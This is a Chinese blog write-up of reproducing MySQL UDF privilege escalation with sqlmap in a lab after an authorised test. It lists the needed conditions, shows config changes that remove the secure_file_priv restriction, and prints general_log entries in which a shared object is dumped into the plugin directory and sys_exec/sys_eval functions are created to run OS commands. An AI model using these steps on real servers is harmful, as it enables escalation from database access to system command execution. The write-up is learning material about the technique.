mysql-udf提权

2020-04-06

最近在一次授权测试中，从配置文件里读到了mysql的密码，连进去以后使用sqlmap想提权，但却始终没法提权，后来在锥宝宝的指导下复现了一下，大概搞明白了。

0x01 攻击模板

名称	详细描述
PreCondition	网络层：外网可以访问到mysql数据库服务；
	应用层：1. 攻击者拿到了mysql数据库root账号和密码 2.secure-file-priv目录无限制；3. 启动MySQL的用户强制指定为root，而不是默认
PostCondition(权限提升)	P(mysql-root)->P(linux-root)
Vuln	mysql-user-define-function

这里注意mysql的root账户和root启动mysql是两码事，后面会再说。

0x02 渗透思路

1. 直接–os-shell

踩个坑，，，一开始遇到这个问题给我卡了5分钟，后来发现是密码输错了。。。

首先直接尝试反弹shell，毫不意外地失败了。

没有os-shell基本可以判定不是高权限了。

紧接着来一波udf提权，sqlmap用sql上传so文件上来提权，毫不意外地又失败了。

权限不够基本上写马肯定不行，但/tmp目录下默认是777权限，可以在这里写一些东西，再想办法走general_log，这个先留个尾巴。

实验环境下，先看一眼之前mysql的权限。USER是mysql，这也就是说虽然我们是root账户启动的mysql，但实际上它的user是mysql。

执行如下命令

1	mysqld --defaults-file=/etc/my.cnf --user=root

如此配置依旧不行，还会有路径报错。

2. secure-file-priv报错

该配置为目录导出安全配置，只有指定的目录才能导出

1	show variables like '%secure%';查看 secure-file-priv 当前的值是什么

1 2	vim /etc/my.cnf ##没有就加上，有的话把后面的路径删除，如下代表无目录限制 secure_file_priv =

再次查看

再次执行已经没有相关报错了

3. 通过日志分析学习

打开日志看下数据库都执行了什么，在数据库里执行命令

1 2	set GLOBAL general_log='ON'; SHOW VARIABLES LIKE 'general_log';

2020-04-06T07:06:51.138931Z        23 Query     UPDATE sqlmapfile SET data=CONCAT(data,0x80170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc0000000100000000000000000000000000000000000000)
2020-04-06T07:06:51.187541Z        23 Query     COMMIT
2020-04-06T07:06:51.243918Z        23 Query     UPDATE sqlmapfile SET data=CONCAT(data,0x88170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000)
2020-04-06T07:06:51.357906Z        23 Query     SELECT data FROM sqlmapfile INTO DUMPFILE '/usr/lib64/mysql/plugin/libsigcn.so'
2020-04-06T07:06:51.417004Z        23 Query     COMMIT
2020-04-06T07:06:51.471030Z        23 Query     SELECT LENGTH(LOAD_FILE('/usr/lib64/mysql/plugin/libsigcn.so'))
2020-04-06T07:06:53.483739Z        23 Query     CREATE FUNCTION sys_exec RETURNS int SONAME 'libsigcn.so'

观察日志，应该是先在sqlmapfile表里写入了二进制字节码，然后dump到so文件当中，通过so文件创建了sys_exec函数，注入完事以后drop了表和function。接下来每执行一条命令，数据库日志里都有相应的调度记录。

os-shell> asd
2020-04-06T07:47:07.998135Z         3 Query     SELECT sys_eval(0x617364)
os-shell> pwd
2020-04-06T07:48:29.061797Z         6 Query     SELECT sys_eval(0x707764)

且下次再执行–os-shell的时候，会直接调用注入的函数

1	2020-04-06T07:48:20.277346Z 6 Query SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name='sys_eval' LIMIT 0,1)='sys_eval') THEN 1 ELSE 0 END)

0x03 学习笔记

sql注入类漏洞的复现,只有结合mysql 的日志一起看的时候,才能理解得很透彻,如果只是sqlmap一把梭,那其实没啥意思.另外得做好笔记,不然实验环境复原真的真的可能会搞崩.